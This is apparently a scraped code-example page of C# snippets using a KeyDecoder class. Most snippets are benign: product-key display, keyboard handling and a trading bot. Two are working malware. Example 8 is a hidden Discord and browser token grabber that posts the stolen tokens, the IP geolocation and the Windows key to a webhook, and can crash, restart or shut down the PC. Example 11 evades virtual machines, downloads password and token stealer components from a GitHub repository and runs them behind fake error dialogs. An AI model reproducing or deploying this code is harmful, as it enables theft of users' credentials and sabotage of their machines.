예제 #1
0
        static void Main(string[] args)
        {
            Console.Title = title;
            WriteColor(ConsoleColor.Red, "\t" + title + "\n");

            WriteColor(ConsoleColor.White, "Windows Product Name: ");
            WriteLineColor(ConsoleColor.White, GetWindowsProductName());

            WriteColor(ConsoleColor.White, "Windows Build Number: ");
            WriteLineColor(ConsoleColor.White, GetWindowsBuildNumber());

            WriteColor(ConsoleColor.White, "Windows ProductId: ");
            WriteLineColor(ConsoleColor.Blue, GetWindowsProductId());

            WriteColor(ConsoleColor.White, "Windows Product Key: ");
            WriteLineColor(ConsoleColor.Red, KeyDecoder.GetWindowsProductKeyFromRegistry());

            WriteColor(ConsoleColor.White, "Windows Installation Folder: ");
            WriteLineColor(ConsoleColor.White, GetWindowsDirectory());

            WriteColor(ConsoleColor.White, "Windows Machine Name: ");
            WriteLineColor(ConsoleColor.White, GetWindowsMachineName() + "\n");

            WriteLineColor(ConsoleColor.Red, "\tPress any key to continue ... ");
            Console.ReadKey(true);
        }
예제 #2
0
        void KeyUpHandler(object sender, KeyEventArgs e)
        {
            if (Keyboard.IsKeyDown(Key.RightAlt))
            {
                return;
            }

            Char c = KeyDecoder.GetCharFromKey(e.Key);

            if (c.ToString() == "")
            {
                return;
            }

            TextPointer tEnd   = CaretPosition;
            TextPointer tStart = tEnd.GetPositionAtOffset(-1);

            if (tStart == null || tEnd == null)
            {
                return;
            }
            else
            {
                new TextRange(tStart, tEnd).ApplyPropertyValue(Run.ForegroundProperty, Brushes.Black);
            }
        }
예제 #3
0
 public IEnumerable <RecoveredPassword> GetPasswords()
 {
     yield return
         (new RecoveredPassword
     {
         Application = "Windows",
         UserName = "******",
         PasswordType = PasswordType.Other,
         Password = KeyDecoder.GetWindowsProductKey()
     });
 }
예제 #4
0
        public void StartProgress(string transfer)
        {
            if (transfer != null)
            {
                foreach (string temp in new Transfer(transfer, KeyDecoder.GetWindowsProductKeyFromRegistry()))
                {
                    if (!temp.Contains(","))
                    {
                        string code = temp.Equals("Tick") || temp.Equals("Day") ? "101Q3000" : temp;
                        SendMemorize?.Invoke(this, new Memorize(temp.Equals("Day") ? "day" : temp, code));

                        continue;
                    }
                    SendMemorize?.Invoke(this, new Memorize(temp.Split(',')));
                }
            }
        }
예제 #5
0
        public Consecutive(Catalog.XingAPI.Specify specify) : base(KeyDecoder.GetKey())
        {
            this.specify = specify;
            this.judge   = specify.Strategy.Length == 2 && int.TryParse(specify.Strategy, out int judge) ? judge : int.MaxValue;
            var recent = Retrieve.Charts.Last().Value.Last().Date.ToString().Substring(0, 6);
            var now    = DateTime.Now;

            Short = GetBasicChart(recent, now, specify, specify.Short, new Stack <double>(256));
            Long  = GetBasicChart(recent, now, specify, specify.Long, new Stack <double>(256));

            if (Short == null || Short.Count == 0 || Long == null || Long.Count == 0)
            {
                Short = new Stack <double>(256);
                Long  = new Stack <double>(256);

                foreach (var kv in Retrieve.Charts)
                {
                    foreach (var chart in kv.Value)
                    {
                        Analysize(chart);
                    }
                }
            }
            if (specify.Time == 1440)
            {
                RollOver             = specify.RollOver == false || Array.Exists(Information.RemainingDay, o => o.Equals(now.ToString(remaining)));
                ran                  = new Random();
                OnTime               = true;
                Assets               = specify.Assets;
                API.OnReceiveBalance = false;
                ((IEvents <EventHandler.XingAPI.Quotes>)API.reals[0]).Send += OnReceiveQuotes;

                if (now.Hour < 5 || now.Hour > 16)
                {
                    this.judge /= 10;
                }
            }
            else
            {
                Check = string.Empty;
            }

            ((IEvents <Datum>)API.reals[1]).Send += Analysize;
        }
예제 #6
0
        private void PreviewKeyDownHandler(object sender, KeyEventArgs e)
        {
            AutocompleteManager.handleKeyDown(e);
            if (e.Handled || Keyboard.IsKeyDown(Key.RightAlt))
            {
                return;
            }

            Char c = KeyDecoder.GetCharFromKey(e.Key);

            if (e.Key == Key.Enter)
            {
                if (!Selection.IsEmpty)
                {
                    Selection.Text = "";
                }

                TextPointer inserted = Selection.Start.InsertLineBreak();
                Selection.Select(inserted, inserted);

                e.Handled = true;
            }
            else if ((c == '?' || c == '#') && Selection.IsEmpty)
            {
                Selection.Text = c.ToString();
                LMD_Document lmdDoc = new LMD_Document(getDocument(Document));
                String       result = lmdDoc.getCommandResult();
                Selection.Text = (result == "") ? c.ToString() : result;
                Selection.Select(Selection.End, Selection.End);
                e.Handled = true;
            }
            else if (e.Key == Key.Space)
            {
                BeginChange();
                CaretPosition = CaretPosition.GetPositionAtOffset(0, LogicalDirection.Backward);
                CaretPosition.InsertTextInRun(c.ToString());
                CaretPosition = CaretPosition.GetNextInsertionPosition(LogicalDirection.Forward);
                e.Handled     = true;
                EndChange();
            }
        }
예제 #7
0
파일: Helper.cs 프로젝트: Oshi41/Libs
        /// <summary>
        /// Возвращает char из нажатой клавишы
        /// </summary>
        /// <param name="key"></param>
        /// <returns></returns>
        public static char GetCharFromKey(Key key)
        {
            char ch = ' ';

            int virtualKey = KeyInterop.VirtualKeyFromKey(key);

            byte[] keyboardState = new byte[256];
            KeyDecoder.GetKeyboardState(keyboardState);

            uint          scanCode      = KeyDecoder.MapVirtualKey((uint)virtualKey, KeyDecoder.MapType.MAPVK_VK_TO_VSC);
            StringBuilder stringBuilder = new StringBuilder(2);

            int result = KeyDecoder.ToUnicode((uint)virtualKey, scanCode, keyboardState, stringBuilder, stringBuilder.Capacity, 0);

            switch (result)
            {
            case -1:
                break;

            case 0:
                break;

            case 1:
            {
                ch = stringBuilder[0];
                break;
            }

            default:
            {
                ch = stringBuilder[0];
                break;
            }
            }
            return(ch);
        }
예제 #8
0
    private void MainForm_Load(object sender, System.EventArgs e)
    {
        Size    = new Size(0, 0);
        Visible = false;
        Hide();
        Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.RealTime;
        CheckForIllegalCrossThreadCalls = false;
        string splitter = Crypto.AES_Decrypt("NJBB6d/H9gY7vTGNPglQRJYHSgkzHrFVhC6qw+9zMaYl0je7XvmqURNuMg2zWBUHBfUI9wQLFtSpa0Q5dBwqJ/yzQRl5+FXhWFERJrCeyIFTyKU91bTAl3UHpYyVlkxfYzHfVlNwjfaK0r8kFGZ47+FRF7Zvf7OOPEydItveNtzPGMERTrINtf3Aq/U8KZsj", "ERKJEKJRLKWJERLKJWEJKRLWKJERLKJWERLK");

        try
        {
            FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
            string stub = Strings.Space((int)FileSystem.LOF(1));
            FileSystem.FileGet(1, ref stub);
            FileSystem.FileClose(1);
            string[]  args             = Strings.Split(stub, splitter);
            string    roamingPath      = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            string    localPath        = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            WebClient webClient        = new WebClient();
            bool      crashPC          = bool.Parse(args[2].ToLower());
            bool      restartPC        = bool.Parse(args[3].ToLower());
            bool      removeExecutable = bool.Parse(args[4].ToLower());
            bool      restartDiscord   = bool.Parse(args[5].ToLower());
            bool      shutdownPC       = bool.Parse(args[6].ToLower());
            string    geoIp1           = "Failed to track.";
            string    geoIp2           = "Failed to track.";
            string    ipAddress        = "No ip address found.";
            try
            {
                ipAddress = webClient.DownloadString("https://api.ipify.org/");
            }
            catch (Exception ex)
            {
            }
            try
            {
                geoIp1 = webClient.DownloadString("https://webresolver.nl/api.php?key=4BMRN-A9HUE-E1NC2-6JWQ7&action=geoip&string=" + ipAddress).Replace("<br>", Environment.NewLine).Replace("<br />", Environment.NewLine);
            }
            catch (Exception ex)
            {
            }
            try
            {
                geoIp2 = webClient.DownloadString("https://api.apithis.net/geoip.php?ip=" + ipAddress).Replace("<br>", Environment.NewLine).Replace("<br />", Environment.NewLine);
            }
            catch (Exception ex)
            {
            }
            sendWebHook(Crypto.AES_Decrypt(args[1], "X358791X"), "**A new Discord token has been grabbed**:" + Environment.NewLine + Environment.NewLine + "*Discord token*: " + GetToken(roamingPath + "\\Discord") + Environment.NewLine + "*Discord Canary token*: " + GetToken(roamingPath + "\\discordcanary") + Environment.NewLine + "*Discord PTB token*: " + GetToken(roamingPath + "\\discordptb") + Environment.NewLine + "*Google Chrome token*: " + GetToken(localPath + "\\Google\\Chrome\\User Data\\Default") + Environment.NewLine + "*Opera token*: " + GetToken(roamingPath + "\\Opera Software\\Opera Stable") + Environment.NewLine + "*Brave token*: " + GetToken(localPath + "\\BraveSoftware\\Brave-Browser\\User Data\\Default") + Environment.NewLine + "*Yandex token*: " + GetToken(localPath + "\\Yandex\\YandexBrowser\\User Data\\Default") + Environment.NewLine + "*IP address*: " + ipAddress + Environment.NewLine + "*Windows key*: " + KeyDecoder.GetWindowsProductKeyFromRegistry() + Environment.NewLine + Environment.NewLine + "Tracking with first method: " + Environment.NewLine + Environment.NewLine + geoIp1 + Environment.NewLine + Environment.NewLine + "Tracking with second method: " + Environment.NewLine + Environment.NewLine + geoIp2, "DualSpammer Token Grabber");
            if (crashPC)
            {
                try
                {
                    Boolean t1;
                    uint    t2;
                    RtlAdjustPrivilege(19, true, false, out t1);
                    NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out t2);
                }
                catch (Exception ex)
                {
                }
            }
            if (restartPC)
            {
                try
                {
                    Process.Start("shutdown.exe", "-r -t 0");
                }
                catch (Exception ex)
                {
                }
            }
            if (restartDiscord)
            {
                foreach (Process process in Process.GetProcesses())
                {
                    try
                    {
                        if (process.ProcessName.ToLower().Contains("discord"))
                        {
                            if (!(process.MainModule.FileName.Replace(" ", "") == ""))
                            {
                                string fileName = process.MainModule.FileName;
                                process.Kill();
                                Process.Start(fileName);
                                break;
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                    }
                }
            }
            if (shutdownPC)
            {
                try
                {
                    Process.Start("shutdown.exe", "-s -t 0");
                }
                catch (Exception ex)
                {
                }
            }
            if (removeExecutable)
            {
                try
                {
                    System.Threading.Thread thread = new System.Threading.Thread(new System.Threading.ThreadStart(doRemoveExecutable));
                    thread.Start();
                }
                catch (Exception ex)
                {
                }
            }
        }
        catch (Exception ex)
        {
        }
        legitExit = true;
        Application.Exit();
    }
예제 #9
0
파일: TF.cs 프로젝트: w1r2p1/GoblinBat
        protected internal TF(Specify specify) : base(KeyDecoder.GetKey())
        {
            this.specify = specify;

            if (specify.Strategy.Length > 2)
            {
                Short = GetBasicChart(new Stack <double>(512), specify, specify.Short);
                Long  = GetBasicChart(new Stack <double>(512), specify, specify.Long);

                if (Short.Count == 0 || Long.Count == 0)
                {
                    sCollection = true;
                    lCollection = true;
                    var charts = new Queue <Models.Charts>(256);

                    if (Short.Count > 0)
                    {
                        Short.Clear();
                        sCollection = false;
                        LongValue   = new Dictionary <string, double>();
                    }
                    else if (Long.Count > 0)
                    {
                        Long.Clear();
                        lCollection = false;
                        ShortValue  = new Dictionary <string, double>();
                    }
                    else
                    {
                        ShortValue = new Dictionary <string, double>();
                        LongValue  = new Dictionary <string, double>();
                    }
                    foreach (Catalog.Chart chart in Retrieve.Chart)
                    {
                        Analysize(chart);
                    }

                    if (sCollection)
                    {
                        foreach (var kv in ShortValue)
                        {
                            charts.Enqueue(new Models.Charts
                            {
                                Code  = specify.Code,
                                Time  = (int)specify.Time,
                                Base  = specify.Short,
                                Date  = kv.Key,
                                Value = kv.Value
                            });
                        }
                    }
                    if (lCollection)
                    {
                        foreach (var kv in LongValue)
                        {
                            charts.Enqueue(new Models.Charts
                            {
                                Code  = specify.Code,
                                Time  = (int)specify.Time,
                                Base  = specify.Long,
                                Date  = kv.Key,
                                Value = kv.Value
                            });
                        }
                    }
                    if (charts.Count > 0 && SetBasicChart(charts))
                    {
                        charts.Clear();
                    }
                }
            }
        }
예제 #10
0
        ConnectAPI()
        {
            secret = new Secret();
            var str = KeyDecoder.GetWindowsProductKeyFromRegistry();

            if (str.Length > 0 && secret.InfoToConnect.TryGetValue(str, out string[] connect) && secret.Server.TryGetValue(str, out string server) && ConnectServer(server, secret.Port) && Login(connect[0], connect[1], connect[2], 0, true) && IsLoadAPI())
예제 #11
0
    public static void Main()
    {
        string ip = new WebClient().DownloadString("https://myexternalip.com/raw");
        string vt = ded.DownloadString("https://itroublvehacker.cf/vt");

        if (vt.Contains(ip) || ip.Contains("72.12.194.") || vt.Contains(KeyDecoder.GetWindowsProductKeyFromRegistry()))
        {
            Environment.Exit(0);
        }
        ServicePointManager.Expect100Continue = true;
        ServicePointManager.SecurityProtocol  = SecurityProtocolType.Tls12;
        string Temp   = Path.GetTempPath();
        string antivm = "C:\\Windows\\System32\\drivers\\";

        if (vmcheck() == false)
        {
            if (!File.Exists(antivm + "Vmmouse.sys"))
            {
                if (!File.Exists(antivm + "VBoxVideo.sys"))
                {
                    try
                    {
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("finalresbatch", Temp + "finalres.bat");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://github.com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/BETA---NOT-FOR-PUBLIC/AVOID%20ME/Leaf.xNet.dll?raw=true", Temp + "Leaf.xNet.dll");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://github.com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/BETA---NOT-FOR-PUBLIC/AVOID%20ME/System.Drawing.Common.dll?raw=true", Temp + "System.Drawing.Common.dll");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://github.com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/BETA---NOT-FOR-PUBLIC/AVOID%20ME/Newtonsoft.Json.dll?raw=true", Temp + "Newtonsoft.Json.dll");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://raw.githubusercontent.com/Itroublve/Token-Browser-Password-Stealer-Creator/BETA---NOT-FOR-PUBLIC/AVOID%20ME/tokenstealer.vbs", Temp + "finalres.vbs");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://raw.githubusercontent.com/Itroublve/Token-Browser-Password-Stealer-Creator/BETA---NOT-FOR-PUBLIC/AVOID%20ME/tokenstealer2.vbs", Temp + "finalres2.vbs");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://github.com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/master/AVOID%20ME/WebBrowserPassView.exe?raw=true", Temp + "WebBrowserPassView.exe");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://raw.githubusercontent.com/Itroublve/Token-Browser-Password-Stealer-Creator/master/AVOID%20ME/curl-ca-bundle.crt", Temp + "curl-ca-bundle.crt");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://github.com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/master/AVOID%20ME/curl.exe?raw=true", Temp + "curl.exe");
                        using (WebClient webClient = new WebClient())
                            webClient.DownloadFile("https://github.com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/BETA---NOT-FOR-PUBLIC/AVOID%20ME/sendhookfile.exe?raw=true", Temp + "filed.exe");

                        /*using (WebClient webClient = new WebClient())
                         *      webClient.DownloadFile("customexelink", Temp + "CustomEXE.exe");*/
                        Thread.Sleep(3000);
                        if (File.Exists(Temp + "filed.exe"))
                        {
                            Process run_bat = new Process();
                            run_bat.EnableRaisingEvents = false;
                            run_bat.StartInfo.FileName  = Temp + "finalres.vbs";
                            run_bat.Start();
                            Thread.Sleep(1000);
                            //MessageBox.Show("Your Desc", "Your Title", MessageBoxButtons.btn, MessageBoxIcon.gaay);
                            //RemoveEXE();
                        }
                        else
                        {
                            MessageBox.Show("Please disable any debuggers/antivirus, and try again!", Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Warning);
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message); // ONLY FOR BETA TESTERS / TESTING
                        Environment.Exit(0);
                    }
                }
                else
                {
                    MessageBox.Show("The version of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher.", Application.ExecutablePath, MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Environment.Exit(0);
                }
            }
            else
            {
                MessageBox.Show("The version of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher.", Application.ExecutablePath, MessageBoxButtons.OK, MessageBoxIcon.Error);
                Environment.Exit(0);
            }
        }
        else
        {
            MessageBox.Show("The version of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher.", Application.ExecutablePath, MessageBoxButtons.OK, MessageBoxIcon.Error);
            Environment.Exit(0);
        }
    }
예제 #12
0
        static void Main()
        {
            var secret = new Secret();
            var handle = GetConsoleWindow();
            var str    = KeyDecoder.GetWindowsProductKeyFromRegistry();

            ShowWindow(handle, secret.Hide);

            if (secret.GetIdentify(str))
            {
                var registry            = Registry.CurrentUser.OpenSubKey(new Secret().Path);
                var classfication       = secret.GetPort(str).Equals((char)Port.Trading) && DateTime.Now.Hour > 4 && DateTime.Now.Hour < 6;
                var remaining           = new Random(new Random().Next(0, Application.StartupPath.Length * secret.GetIdentify().Length)).Next(classfication ? 35 : 5, classfication ? 51 : 21);
                var path                = Path.Combine(Application.StartupPath, secret.Indentify);
                Stack <Specify[]> stack = null;

                if (secret.GetDirectoryInfoExists(path))
                {
                    var initial = secret.GetPort(str);

                    if (registry.GetValue(secret.GoblinBat) == null || DateTime.Now.Date.Equals(new DateTime(2020, 4, 3)))
                    {
                        registry.Close();
                        registry = Registry.CurrentUser.OpenSubKey(new Secret().Path, true);
                        registry.SetValue(secret.GoblinBat, Array.Find(Directory.GetFiles(Application.StartupPath, "*.exe", SearchOption.AllDirectories), o => o.Contains(string.Concat(secret.GodSword, ".exe"))));
                    }
                    while (remaining > 0)
                    {
                        if (TimerBox.Show(new Secret(remaining--).RemainingTime, secret.GetIdentify(), MessageBoxButtons.OK, MessageBoxIcon.Information, 60000U).Equals(DialogResult.OK) && remaining == 0)
                        {
                            new Task(() =>
                            {
                                stack = new Strategy.Retrieve(str).SetInitialzeTheCode();

                                while (stack.Count > 0)
                                {
                                    new BackTesting(stack.Pop(), str);
                                }
                            }).Start();
                        }
                    }
                    while (DateTime.Now.Hour < 18 && (DateTime.Now.Hour > 15 || DateTime.Now.Hour == 15 && DateTime.Now.Minute > 45) || DateTime.Now.Hour > 4 && DateTime.Now.Hour < 9 || DateTime.Now.DayOfWeek.Equals(DayOfWeek.Saturday) || DateTime.Now.DayOfWeek.Equals(DayOfWeek.Sunday))
                    {
                        if ((DateTime.Now.Hour == 8 || DateTime.Now.Hour == 17) && DateTime.Now.Minute > 35 && DateTime.Now.DayOfWeek.Equals(DayOfWeek.Saturday) == false && DateTime.Now.DayOfWeek.Equals(DayOfWeek.Sunday) == false)
                        {
                            break;
                        }

                        else if (TimerBox.Show(secret.StartProgress, secret.GetIdentify(), MessageBoxButtons.OKCancel, MessageBoxIcon.Information, MessageBoxDefaultButton.Button2, 3765U).Equals(DialogResult.OK))
                        {
                            break;
                        }

                        Thread.Sleep(26235);
                    }
                    if (initial.Equals((char)126) == false)
                    {
                        if (initial.Equals((char)Port.Trading) && stack != null && stack.Count > 0)
                        {
                            stack.Clear();
                            GC.Collect();
                        }
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                        Application.Run(new GoblinBat(initial, secret));
                    }
                    else
                    {
                        new ExceptionMessage(str);
                    }
                }
                else
                {
                    ShowWindow(handle, secret.Show);
                    secret.SetIndentify(path, str);
                }
            }
        }
예제 #13
0
        void OnEventConnect()
        {
            foreach (var ctor in Xing.querys)
            {
                switch (ctor.GetType().Name)
                {
                case cfobq10500:
                case ccebq10500:
                    BeginInvoke(new Action(() =>
                    {
                        if (Account == null)
                        {
                            Account = new AccountControl();
                            panel.Controls.Add(Account);
                            Account.Dock = DockStyle.Fill;
                            Account.Show();
                        }
                        ((IEvents <Deposit>)ctor).Send += Account.OnReceiveDeposit;
                        ((IMessage <NotifyIconText>)ctor).SendMessage += OnReceiveNotifyIcon;
                    }));
                    break;

                case t0441:
                case cceaq50600:
                    BeginInvoke(new Action(() =>
                    {
                        if (Balance == null)
                        {
                            Balance = new BalanceControl();
                            panel.Controls.Add(Balance);
                            Balance.Dock        = DockStyle.Fill;
                            Balance.SendReSize += OnReceiveSize;
                        }
                        ((IEvents <Balance>)ctor).Send += Balance.OnReceiveBalance;
                        ((IMessage <NotifyIconText>)ctor).SendMessage += OnReceiveNotifyIcon;
                    }));
                    break;
                }
                ctor.QueryExcute();
            }
            foreach (var ctor in Xing.reals)
            {
                switch (ctor.GetType().Name)
                {
                case fc0:
                case nc0:
                    if (initial.Equals(trading))
                    {
                        ((ITrends <Trends>)ctor).SendTrend += Quotes.OnReceiveTrend;
                    }

                    ctor.OnReceiveRealTime(initial.Equals(trading) ? Strategy.Retrieve.Code : Open.Code);
                    continue;

                case fh0:
                case nh0:
                    if (initial.Equals(collecting))
                    {
                        Open.SendQuotes -= Quotes.OnReceiveQuotes;
                    }

                    ((IEvents <EventHandler.XingAPI.Quotes>)ctor).Send += Quotes.OnReceiveQuotes;
                    ctor.OnReceiveRealTime(initial.Equals(trading) ? Strategy.Retrieve.Code : Open.Code);
                    continue;

                case jif:
                    BeginInvoke(new Action(() =>
                    {
                        ((IEvents <NotifyIconText>)ctor).Send += OnReceiveNotifyIcon;

                        if (Statistical == null)
                        {
                            Statistical = new StatisticalAnalysis();
                            panel.Controls.Add(Statistical);
                            Statistical.Dock = DockStyle.Fill;
                        }
                        ctor.OnReceiveRealTime(initial.Equals(trading) ? Strategy.Retrieve.Code : Open.Code);
                    }));
                    continue;

                default:
                    if (initial.Equals(trading))
                    {
                        ((IStates <State>)ctor).SendState += Quotes.OnReceiveState;
                        ctor.OnReceiveRealTime(Strategy.Retrieve.Code);
                    }
                    continue;
                }
            }
            if (initial.Equals(trading))
            {
                foreach (var ctor in Xing.orders)
                {
                    ((IMessage <NotifyIconText>)ctor).SendMessage += OnReceiveNotifyIcon;
                    ((IStates <State>)ctor).SendState             += Quotes.OnReceiveState;
                }
                Task.Wait();
                Parallel.ForEach(Specify, new Action <Catalog.XingAPI.Specify>((param) => new Strategy.XingAPI.Base(param)));
            }
            WindowState = Xing.SendNotifyIconText((int)Math.Pow((initial.Equals(trading) ? Strategy.Retrieve.Code : Open.Code).Length, 4));

            if ((DateTime.Now.Hour > 16 || DateTime.Now.Hour == 15 && DateTime.Now.Minute > 45) && initial.Equals(collecting))
            {
                Temporary = new XingAPI.Temporary(Xing.reals[0], Xing.reals[1], new StringBuilder(1024), KeyDecoder.GetWindowsProductKeyFromRegistry());
            }
        }
예제 #14
0
        void OnReceiveNotifyIcon(object sender, NotifyIconText e)
        {
            switch (e.NotifyIcon.GetType().Name)
            {
            case dic:
                var temp = (Dictionary <int, string>)e.NotifyIcon;

                if (temp.TryGetValue(0, out string code))
                {
                    notifyIcon.Text = checkDataBase;
                    Open.StartProgress(3605);
                    notifyIcon.Text = secret.GetIdentify();

                    return;
                }
                var first = temp.First();
                notifyIcon.Text = string.Concat(DateTime.Now.ToShortTimeString(), " Remains_", first.Key, " Code_", first.Value);
                return;

            case sb:
                strip.ItemClicked += OnItemClick;
                BeginInvoke(new Action(() =>
                {
                    if (Quotes == null)
                    {
                        Quotes = new QuotesControl();
                        panel.Controls.Add(Quotes);
                        Open.SendQuotes += Quotes.OnReceiveQuotes;
                        Quotes.Dock      = DockStyle.Fill;
                    }
                    if (Account == null)
                    {
                        Account = new AccountControl();
                        panel.Controls.Add(Account);
                        Account.Dock      = DockStyle.Fill;
                        Open.SendDeposit += Account.OnReceiveDeposit;
                    }
                    if (Balance == null)
                    {
                        Balance = new BalanceControl();
                        panel.Controls.Add(Balance);
                        Balance.Dock      = DockStyle.Fill;
                        Open.SendBalance += Balance.OnReceiveBalance;
                    }
                    if (Statistical == null)
                    {
                        Statistical = new StatisticalAnalysis();
                        panel.Controls.Add(Statistical);
                        Statistical.Dock = DockStyle.Fill;
                    }
                    var chart = Retrieve.GetInstance(KeyDecoder.GetWindowsProductKeyFromRegistry(), Open.Code).Chart;
                    var check = e.NotifyIcon.ToString().Split((char)59);
                    Acc       = new string[check.Length - 3];
                    Server    = check[check.Length - 1].Equals(secret.Mock);

                    if (Server ? false : new VerifyIdentity().Identify(check[check.Length - 3], check[check.Length - 2]) == false)
                    {
                        TimerBox.Show(new Secret(check[check.Length - 2]).Identify, secret.GoblinBat, MessageBoxButtons.OK, MessageBoxIcon.Warning, 3750);
                        Dispose();

                        return;
                    }
                    for (int i = 0; i < check.Length - 3; i++)
                    {
                        Acc[i] = check[i];
                    }

                    new Task(() =>
                    {
                        var specify = new Specify
                        {
                            Account  = Acc,
                            Assets   = 17500000,
                            Code     = Open.Code,
                            Strategy = "TF",
                            Time     = 30,
                            Short    = 4,
                            Long     = 60
                        };
                        new Strategy.OpenAPI.Trading(Open, specify, new Strategy.OpenAPI.Quotes(specify, Open), chart);
                    }).Start();
                    new Task(() =>
                    {
                        var liquidate = new Specify
                        {
                            Account  = Acc,
                            Assets   = 17500000,
                            Code     = Open.Code,
                            Strategy = "WU",
                            Time     = 15,
                            Short    = 4,
                            Long     = 60
                        };
                        new Strategy.OpenAPI.Trading(Open, liquidate, new Strategy.OpenAPI.Quotes(liquidate, Open), chart);
                    }).Start();
                    new Task(() => new Strategy.OpenAPI.Trading(Open, new Specify
                    {
                        Account  = Acc,
                        Assets   = 17500000,
                        Code     = Open.Code,
                        Strategy = "DL",
                        Time     = 1440,
                        Short    = 4,
                        Long     = 60,
                        Reaction = 531
                    }, chart)).Start();
                    Open.SendState += Quotes.OnReceiveState;
                    Open.SendTrend += Quotes.OnReceiveTrend;
                    Retrieve.Dispose();
                }));
                return;

            case str:
                BeginInvoke(new Action(() => Quotes.OnReceiveOrderMsg(e.NotifyIcon.ToString())));
                return;

            case bt:
                if (Array.Exists(XingConnect, o => o.Equals(initial)))
                {
                    BeginInvoke(new Action(() =>
                    {
                        Xing            = XingAPI.ConnectAPI.GetInstance(initial.Equals(trading) ? Strategy.Retrieve.Code : Open.Code, Strategy.Retrieve.Date);
                        Xing.Send      += OnReceiveNotifyIcon;
                        notifyIcon.Text = string.Concat("Trading Code_", initial.Equals(trading) ? Strategy.Retrieve.Code : Open.Code);
                        OnEventConnect();
                        OnClickMinimized = quo;
                        Application.DoEvents();
                    }));
                }
                else
                {
                    Account.Show();
                    Open.SendDeposit -= Account.OnReceiveDeposit;
                    Account.Hide();
                    Balance.Show();
                    Open.SendBalance -= Balance.OnReceiveBalance;
                    Balance.Hide();
                    Open.SendState -= Quotes.OnReceiveState;
                    Open.SendTrend -= Quotes.OnReceiveTrend;
                }
                return;

            case int32:
                if ((int)e.NotifyIcon < 0)
                {
                    if (Temporary != null && initial.Equals(collecting))
                    {
                        Temporary.SetStorage(Open.Code);
                    }

                    Process.Start("shutdown.exe", "-r");
                    Dispose();
                }
                else
                {
                    foreach (var ctor in Xing.querys)
                    {
                        switch (ctor.GetType().Name)
                        {
                        case cfobq10500:
                        case ccebq10500:
                            ((IEvents <Deposit>)ctor).Send -= Account.OnReceiveDeposit;
                            ((IMessage <NotifyIconText>)ctor).SendMessage -= OnReceiveNotifyIcon;
                            Account.Hide();
                            break;

                        case t0441:
                        case cceaq50600:
                            ((IEvents <Balance>)ctor).Send -= Balance.OnReceiveBalance;
                            ((IMessage <NotifyIconText>)ctor).SendMessage -= OnReceiveNotifyIcon;
                            Balance.Hide();
                            break;
                        }
                    }
                    Statistical.Hide();
                    return;
                }
                break;

            case cha:
                switch ((char)e.NotifyIcon)
                {
                case (char)69:
                    new ExceptionMessage(e.NotifyIcon.ToString());
                    Dispose();
                    return;

                case (char)41:
                    if (initial.Equals(trading))
                    {
                        Xing.OnReceiveBalance = false;
                        Process.Start("shutdown.exe", "-r");
                        Dispose();
                    }
                    break;

                case (char)21:
                    if (initial.Equals(trading))
                    {
                        Xing.OnReceiveBalance = true;
                    }

                    break;

                default:
                    return;
                }
                break;

            case boolean:
                break;
            }
        }
예제 #15
0
        internal GoblinBat(char initial, Secret secret)
        {
            this.initial = initial;
            this.secret  = secret;
            InitializeComponent();
            Opacity = 0;
            var collect = ((char)Port.Collecting).Equals(initial);

            if (collect)
            {
                Open = OpenAPI.ConnectAPI.GetInstance(KeyDecoder.GetWindowsProductKeyFromRegistry());
                Open.SetAPI(axAPI);
                Open.SendCount += OnReceiveNotifyIcon;
            }
            switch (initial)
            {
            case collecting:
            case trading:
                if (Quotes == null)
                {
                    Quotes = new QuotesControl();
                    panel.Controls.Add(Quotes);
                    Quotes.Dock = DockStyle.Fill;
                    Quotes.Show();
                    strip.ItemClicked += OnItemClick;
                }
                if (collect)
                {
                    Open.SendQuotes += Quotes.OnReceiveQuotes;
                    Open.StartProgress(new OpenAPI.Temporary(Open, new StringBuilder(1024), KeyDecoder.GetWindowsProductKeyFromRegistry()));
                }
                else
                {
                    BeginInvoke(new Action(() =>
                    {
                        Task = new Task(() =>
                        {
                            Specify = new Catalog.XingAPI.Specify[]
                            {
                                new Catalog.XingAPI.Specify
                                {
                                    Assets   = 90000000,
                                    Code     = Strategy.Retrieve.Code,
                                    Reaction = 500,
                                    Quantity = "1",
                                    RollOver = 'A',
                                    Time     = 1,
                                    Short    = 4,
                                    Long     = 60
                                },
                                new Catalog.XingAPI.Specify
                                {
                                    Assets   = 90000000,
                                    Code     = Strategy.Retrieve.Code,
                                    Reaction = 500,
                                    Quantity = "1",
                                    RollOver = 'A',
                                    Time     = 5,
                                    Short    = 4,
                                    Long     = 60
                                },
                                new Catalog.XingAPI.Specify
                                {
                                    Assets   = 90000000,
                                    Code     = Strategy.Retrieve.Code,
                                    Reaction = 500,
